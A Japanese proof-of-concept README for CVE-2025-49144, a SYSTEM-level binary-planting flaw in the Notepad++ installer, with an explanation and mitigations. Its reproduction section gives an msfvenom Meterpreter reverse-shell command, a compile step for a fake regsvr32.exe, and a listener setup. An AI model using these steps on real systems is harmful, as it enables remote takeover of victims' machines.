
CVE-2025-49144 * Notepad++ v8.8.1 * SYSTEMレベルのPoC

📌 CVE-2025-49144は、Notepad++ v8.8.1およびそれ以前のバージョンのインストーラに見つかった、深刻度の高いローカル権限昇格の脆弱性です。この脆弱性は、インストール中に制御不能な実行可能ファイルの検索パス動作に起因し、ローカルの攻撃者がインストーラと同じディレクトリに悪意のある実行可能ファイルを配置することで、SYSTEMレベルの権限を取得することを可能にします。
⚙️ CVEの仕組み – ステップバイステップ:
🧱 1. インストーラの何が問題だったのか?
Notepad++インストーラ(v8.8.2より前)は、いくつかのコンポーネントを登録するためにregsvr32.exeを呼び出しますが、完全なパス(例:C:\Windows\System32\regsvr32.exe)を指定せずに行います。
代わりに、次のように実行します:
regsvr32.exe some_dll
📂 2. Windowsの検索パスの動作:実行可能ファイルが完全なパスなしで起動された場合、Windowsは特定の検索順序を使用してファイルを検索します:
アプリケーションが起動されたフォルダ(例:ダウンロード)
システムフォルダ(System32)
Windowsフォルダ
カレントディレクトリ
PATH環境変数のパス
そのため、偽のregsvr32.exeがインストーラと同じフォルダ(例:ダウンロード)に配置されている場合、Windowsは実際のものより先にそれを使用します。
💣 3. 悪用:
攻撃者は、正規のNotepad++インストーラと同じフォルダ(例:被害者のダウンロードフォルダ)に悪意のあるregsvr32.exeを配置します。
被害者はインストーラを実行します(安全だと思って)。
インストーラがregsvr32.exeを呼び出すと、同じフォルダ内の悪意のあるものが実行され、SYSTEM権限で動作します(インストーラは通常、管理者権限を要求するため)。
攻撃者のペイロードは、NT AUTHORITY\SYSTEMとして実行されています。
⚙️ 再現手順:
シェルコードを取得: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c > shellcode.txt
ファイル "regsvr32_loader.c" をダウンロードして編集します。 shellcode.txt からシェルコード全体を、記載されたコメント部分に貼り付けます。 regsvr32.exe にコンパイル: x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
Meterpreterリスナーを展開: msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.9 set LPORT 4444 run
脆弱なバージョンのNotepad++(v8.8.1より前。現在はv8.8.1が自動更新されるため)をダウンロードします。PoCではNotepad++ v8.6.8を使用しました。 ファイル "regsvr32.exe" を、Notepad++インストーラと同じフォルダ(おそらくダウンロードフォルダ)にWindowsシステム内に移動します。 Notepad++インストーラのインストールを完了します。 注:これはPoCであり、Windows Defenderとリアルタイム保護を無効にしてテストしました。
✅ 緩和策
ユーザーと管理者は以下を実施すべきです:
Notepad++ v8.8.2以降にアップグレードする
ソフトウェアのインストールを信頼できる管理者に制限する
AppLocker、WDAC、またはソフトウェア制限ポリシー(SRP)を使用して:
ユーザー書き込み可能なフォルダ(例:ダウンロード)からの実行をブロックする 不正なパスからのregsvr32.exeのような信頼できないバイナリの実行を防止する 実行可能ファイルのコード署名を強制する
セキュリティチームは、インストールパスを定期的に監査し、書き込み権限を監視し、インストーラの実行中の動作を観察して攻撃対象領域を減らすべきです。
🏷️ ライセンス MITライセンス — 教育、研究、防御目的にのみ無料で使用できます。
🤝 貢献 プルリクエスト歓迎 — 検出の改善、機能の追加、修正の提案など。